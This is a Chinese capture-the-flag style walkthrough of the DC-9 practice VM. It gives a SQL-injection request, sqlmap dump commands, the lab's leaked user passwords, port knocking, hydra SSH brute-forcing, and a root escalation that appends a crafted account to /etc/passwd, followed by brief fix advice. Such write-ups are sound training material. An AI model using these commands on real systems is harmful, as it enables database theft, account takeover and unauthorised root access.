DC-9渗透测试复现

DC-9渗透测试复现

目的:

获取最高权限以及flag

过程:

信息打点--sql注入- 文件包含漏洞-Knockd开门开启ssh连接-hyjra爆破-sudo提权(文件追加)

环境:

攻击机:kali(192.168.85.137)

靶机:DC_3(192.168.85.141)

复现:
一.信息收集

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

 发现主机之后 继续扫描端口 发现80网页端口和22端口 但是status为被过滤的

服务器为apache 2.4.38 并没有看到cms

AWVS 扫描发现sql注入漏洞

EXP: 

POST /results.php HTTP/1.1Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://192.168.85.141/Cookie: PHPSESSID=bup6qprsevlk7mded0vpt3bgcfAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflate,brContent-Length: 55User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36Host: 192.168.85.141Connection: Keep-alivesearch=-1'%20OR%203*2*1=6%20AND%20000660=000660%20--%20
二.漏洞利用

然后sqlmap一把梭

sqlmap -r 'dcp.txt' --batch --current-db

得到库名 Staff

 

 

sqlmap -r 'dcp.txt' --batch -D Staff -T Users -C 'UserID,Username,Password' --dump

得到admin的账号密码 

1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc

解密得到 admin /transorbital1

 

ssh连接失败

登入进去 发现有个添加用户的功能 测试后发现没有什么利用的点 有一些用户泄露的信息,然后发现下面这个  这不妥妥的文件包含吗

测试发现确实存在文件读取漏洞

原来没有admin用户 怪不得ssh连不上

服务器是Apache,也找不到Apache配置文件的位置..,尝试写webshell 但不知道webshell的文件路径

但是这些账号密码又是之前信息收集的那些用户名

但是又不能ssh连接 但开启22端口

状态为 filtered  而不是open 那我们就搜一下filtered 估计是被隐藏了 搜索发现很可能是Knockd隐藏

通过Knockd隐藏SSH,让黑客看不见你的服务器 - 知乎 (zhihu.com)

cat下Knockd的配置/etc/knockd.conf

[options]UseSyslog//用来定义日志输出位置以及文件名[openSSH]sequence    = 7469,8475,9842//设置(开门)敲门顺序,可以自定义seq_timeout = 25//设置超时时间command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//开门成功后添加防火墙规则命令(打开SSH端口)tcpflags    = syn[closeSSH]
sequence    = 9842,8475,7469 //设置(关门)敲门顺序,与开门顺序相反seq_timeout = 25
command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//关门成功后删除之前添加的防火墙规则(关闭SSH端口)tcpflags    = syn

接下来我们用nmap进行敲门

for x in 7469 8475 9842; do nmap -p $x 192.168.85.141; done

成功开启22

问题是账号密码呢 当时库里面只有admin啊 那估计就是库名的问题,我们重新看一下dbs 因为之前爆破的是current-db 所以估计有遗漏

重新扫描发现存在user库 这就是前期信息收集没收全的后果

得到账号密码

sqlmap -u "http://192.168.85.141/results.php" -data "search=1" -D users -T UserDetails -dump

 

| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      || 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     || 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      || 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    || 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       || 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     || 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     || 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     || 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  || 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      || 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    || 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      || 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    || 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    || 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   || 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    || 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     

账号密码这么多 那不可能一个个测呗 直接上hydra了,账号保存为username.txt  密码保存为password.txt

hydra -L username.txt -P password.txt 192.168.85.141 ssh -t 30

得到三组账号密码

chandlerb UrAG0D!joeyt Passw0rdjanitor Ilovepeepee

 

前面两个经过测试没有有用的信息 我们直接看第三个

看看有木有什么能够提权的函数

linux版本为4.9那chfn和chsh提权就使用不了了

尝试sudo -l 也不行 那估计得换用户了


继续收集信息

看一下隐藏文件 然后发现一个secrets 进入访问得到一些新的密码 我们加入到之前的password.txt 继续进行hydra工具进爆破

BamBam01Passw0rdsmellycatsP0Lic#10-4B4-Tru3-0014uGU5T-NiGHts

最终得到 新的用户密码fredf : B4-Tru3-001

我们进行登入

看下sudo提权

没啥利用的啊看起来 看了test全是乱码

 

回到上级目录继续查看 发现py文件


i

import sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()

这段代码根据命令行参数,读取一个文件的内容,并将其追加到另一个文件中。如果命令行参数不符合要求,将打印出用法信息。

三.提权

按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/wenda 里,再脚本追加写入 /etc/passwd 里。 所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存

使用openssl工具创建一个本地的加密用户,命令

openssl passwd -1 -salt admin admin

 

$1$admin$1kgWpnZpUx.vTroWPXPIB0

 然后把它按照passwd的格式送到 /tmp/wenda 

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/wenda

使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中

sudo ./test /tmp/wenda /etc/passwd

 

然后我们切换成admin 用户就变成root权限获得flag 

修复: 

1.关闭22ssh连接端口

2.利用参数化的查询阻止 SQL 注入,应用程序开发人员应避免通过转义或删除特殊字符(攻击者可能会利用来绕过此类保护的一些编码技巧)来清理输入内容,并坚持使用参数化查询,以避免出现 SQL 注入漏洞

3.关闭LFI等防止文件包含漏洞

4.取消能够提取的shell命令

DC-系列总结:

差不多10天的时间终于把DC系列刷完 ,收获还是蛮多的 渗透流程的话 前期信息收集太重要了,这个方面可以借助一些工具 像NMAP AWVS等工具或者框架识别插件都额可以 ,然后利用这些信息进行下一步的渗透,比如有没有现成的漏洞库去利用 百度 谷歌 以及kali自带的漏洞库都能去收集,发现漏洞后就是要控制对方主机了 ,然后继续收集信息 进一步提权.

下一步计划是准备进行红日的更深层的内网渗透 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/825039.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

javaswing + mysql通讯录

javaswingaddressbook 需要代码私聊

结构体及应用;结构体指针及应用;union、enum、typedef三个关键字

结构体及应用 参考文章链接:https://blog.csdn.net/zw1996/article/details/53844585结构体的声明 结构体的初始化 注意如果在定义结构体变量的时候没有初始化,那么后面就不能全部一起初始化了。 /这样是可以的,在定义变量的时候就初始化了…

(十四)C++自制植物大战僵尸游戏windows平台视频播放实现

植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/8UFMs VLC库 在Cocos2d-x游戏开发框架中,没有实现windows平台视频播放的功能,需要自定义实现。在本项目中使用vlc库实现windows平台的视频播放功能。 vlc官网:网址 下载完成后&#x…

虚幻引擎源码版安装下载,点击GenerateProjectFiles.bat报错 error NU1101NuGet包问题解决参考方案

开发环境配置与源码安装使用 安装VS2022 按照官方文档安装需要的vs配置 虚幻引擎源代码下载 Epic里面下载的引擎与源代码引擎区别:Epic里面下载的引擎是已经编译过的它的源代码访问权限不完整,源代码版本提供比较完整引擎代码,并且可以修…

MDK stm32怎么生成bin文件

第一种 D:\Keil_v5\ARM\ac5.6\bin\fromelf.exe --bin -o ../../Output/atk_f407.bin ../../Output/atk_f407.axf 空格解析 D:\Keil_v5\ARM\ac5.6\bin\fromelf.exe一个空格--bin一个空格-o两个空格../../Output/atk_f407.bin ../../Output/atk_f407.axf (注意后…

ELK,ELFK日志收集分析系统

ELK简介 ELK是一套完整的日志集中处理解决方案,将ElasticSearch,Logstash和Kibana三个开源工具配合使用,实现用户对日志的查询、排序、统计需求。 ELK工作原理 在所有需要收集日志的服务器上部署Logstash,或者先将日志进行集中…

c# .net 香橙派 Orangepi GPIO高低电平、上升沿触发\下降沿触发 监听回调方法

c# .net 香橙派GPIO高低电平、上升沿触发\下降沿触发 监听回调方法 通过gpio readall 查看 gpio编码 这里用orangepi zero3 ,gpio= 70为例 当gpio 70 输入高电平时,触发回调 c# .net 代码 方法1: Nuget 包 System.Device.Gpio ,微软官方库对香橙派支持越来越好了,用得…

SpringBoot多数据源(二)

SpringBoot多数据源AbstractRoutingDataSource(二) 1.多数据源配置2.多数据源调用流程3.实现 1.多数据源配置 spring-jdbc模块提供AbstractRoutingDataSource,其内部可以包含了多个DataSource, 然后在运行时来动态的访问数据库 2.多数据源…

【Python系列】查看虚拟环境信息和包大小

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

Java基于SpringBoot+Vue的蜗牛兼职网系统的研究与实现

博主介绍:✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇…

CSS-布局

display display 属性是用于控制 布局 的最重要的 CSS 属性。display 属性规定是否/如何显示元素。 每个 HTML 元素都有一个默认的 display 值,具体取决于它的元素类型。大多数元素的默认 display 值为 block 或 inline。 block block:块级元素。块级…

越来越多服务区安装智慧公厕是什么原因

随着社会的不断发展,人们对生活质量的要求也越来越高。在这种背景下,越来越多的服务区开始安装智慧公厕,以满足人们在出行过程中的生活需求。那么,为什么越来越多的服务区选择安装智慧公厕呢?这其中究竟有哪些原因呢&a…

你信不信,五分钟快速学习Nginx

Nginx是什么? Nginx 是一个高性能的HTTP和反向代理服务器。它是由俄罗斯程序员Igor Sysoev开发的,最初是为了解决俄罗斯大型的门户网站的高流量问题。 说到反向代理,那么有没有正向代理呢? 正向代理:客户端非常明确要…

Swift Publisher 5 for mac:打造精美版面

Swift Publisher 5 for mac:打造精美版面 Swift Publisher 5是一款专业的版面设计和编辑工具,为Mac用户提供了强大的设计功能和直观的操作界面。以下是关于Swift Publisher 5的功能介绍: 直观易用的界面:用户能够轻松地使用Swift …

每日两题 / 189. 轮转数组 560. 和为 K 的子数组(LeetCode热题100)

189. 轮转数组 - 力扣&#xff08;LeetCode&#xff09; 向右轮转将使尾部k个元素顶到头部 将整个数组反转&#xff0c;再分别反转前k个元素和剩下的元素即可 class Solution { public:void rotate(vector<int>& nums, int k) {k % nums.size();reverse(nums.begi…

C# 自动填充文字内容到指定图片

目录 需求 开发运行环境 方法设计 实现代码 AddText方法 图片转Base64 调用示例 小结 需求 在我们的一些发布系统项目应用中&#xff0c;会经常发布一些链接图标&#xff0c;该图标基本上以模板背景为主&#xff0c;并填充项目文字内容。解决方式一般会让美工进行制作…

Qt 拖放功能详解:理论与实践并举的深度指南

拖放&#xff08;Drag and Drop&#xff09;作为一种直观且高效的用户交互方式&#xff0c;在现代图形用户界面中扮演着重要角色。Qt 框架提供了完善的拖放支持&#xff0c;允许开发者在应用程序中轻松实现这一功能。本篇博文将详细阐述Qt拖放机制的工作原理&#xff0c;结合详…

代码随想录阅读笔记-回溯【N皇后】

题目 n 皇后问题 研究的是如何将 n 个皇后放置在 nn 的棋盘上&#xff0c;并且使皇后彼此之间不能相互攻击。 给你一个整数 n &#xff0c;返回所有不同的 n 皇后问题 的解决方案。 每一种解法包含一个不同的 n 皇后问题 的棋子放置方案&#xff0c;该方案中 Q 和 . 分别代表…

【2024】使用Rancher管理k8s集群和创建k8s集群

Rancher管理k8s集群及创建k8s集群。 Rancher版本为:2.8.2目录 rancher管理k8s集群rancher创建k8s集群rancher管理k8s集群 使用rancher管理已经存在的k8s集群。 本部分内容需要自行准备好k8s集群及rancher平台,部署请看本人其他文章 。 登录到rancher平台后,点击集群管理,…

部署wordpress

查看别名type ll ll 是 ls -l --colorauto 的别名 设置别名alias alias ymyum install -y 使用别名ym nginx 取消别名unalias ym 基于LNMP做一个wordpress nginx mysql 5.7 PHP 7.4 1、linux基本环境 修改主机名 hostnamectl set-hostname $name 关闭防火墙及selinux …